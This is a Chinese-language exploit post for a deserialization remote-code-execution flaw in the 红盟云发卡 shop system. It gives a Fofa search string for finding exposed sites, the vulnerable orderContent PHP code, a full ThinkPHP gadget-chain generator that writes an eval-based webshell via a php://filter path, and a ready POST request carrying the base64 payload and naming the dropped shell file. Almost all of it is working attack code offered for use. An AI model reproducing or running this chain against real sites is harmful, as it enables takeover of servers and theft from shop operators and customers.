红盟云发卡系统存在反序列化RCE漏洞

Fofa:"/assets/shop/dist/uaredirect.js?v=1.2.0"

public function orderContent($order_no){  $user = Hm::getUser();  if($this->request->param('search_content')){    $search_content = unserialize(base64_decode(urldecode($this->request->param('search_content'))));    if(isset($search_content['order_no'])){      $where = [        'order_no' => $search_content['order_no']        ];    }else{      $where = [        'account' => $search_content['account'],        'password' => $search_content['password'],        'order_no' => $order_no        ];    }

<?phpnamespace thinkprocesspipes {    class Windows {        private $files = [];        public function __construct($files){            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类        }    }}namespace think {    abstract class Model{        protected $append = [];        protected $error = null;        public $parent;        function __construct($output, $modelRelation){            $this->parent = $output;  //$this->parent=> thinkconsoleOutput;            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error            $this->error = $modelRelation;               // $this->error 要为 relation类的子类，并且也是OnetoOne类的子类==>>HasOne        }    }}namespace thinkmodel{    use thinkModel;    class Pivot extends Model{        function __construct($output, $modelRelation){            parent::__construct($output, $modelRelation);        }    }}namespace thinkmodelrelation{    class HasOne extends OneToOne {    }}namespace thinkmodelrelation {    abstract class OneToOne    {        protected $selfRelation;        protected $bindAttr = [];        protected $query;        function __construct($query){            $this->selfRelation = 0;            $this->query = $query;    //$query指向Query            $this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量        }    }}namespace thinkdb {    class Query {        protected $model;        function __construct($model){            $this->model = $model; //$this->model=> thinkconsoleOutput;        }    }}namespace thinkconsole{    class Output{        private $handle;        protected $styles;        function __construct($handle){            $this->styles = ['getAttr'];            $this->handle =$handle; //$handle->thinksessiondriverMemcached        }    }}namespace thinksessiondriver {    class Memcached    {        protected $handler;        function __construct($handle){            $this->handler = $handle; //$handle->thinkcachedriverFile        }    }}namespace thinkcachedriver {    class File    {        protected $options=null;        protected $tag;        function __construct(){            $this->options=[                'expire' => 3600,                 'cache_subdir' => false,                 'prefix' => '',                 'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',                'data_compress' => false,            ];            $this->tag = 'xxx';        }    }}namespace {    $Memcached = new thinksessiondriverMemcached(new thinkcachedriverFile());    $Output = new thinkconsoleOutput($Memcached);    $model = new thinkdbQuery($Output);    $HasOne = new thinkmodelrelationHasOne($model);    $window = new thinkprocesspipesWindows(new thinkmodelPivot($Output,$HasOne));    echo serialize($window);    echo base64_encode(serialize($window));}

POST /shop/order/orderContent?order_no=123 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 1141Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1:81Origin: http://127.0.0.1:81Referer: http://127.0.0.1:81/shop/order/orderContent?order_no=123Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1search_content=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=

a.php12ac95f1498ce51d2d96a249c09c1998.php